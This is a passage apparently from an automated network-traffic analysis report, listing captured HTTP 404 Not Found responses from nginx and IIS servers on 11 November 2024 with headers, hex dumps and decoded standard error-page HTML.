20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:59 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:48:59 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:50:01 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:50:07 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:50:07 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:50:02 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:07 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:08 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:08 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
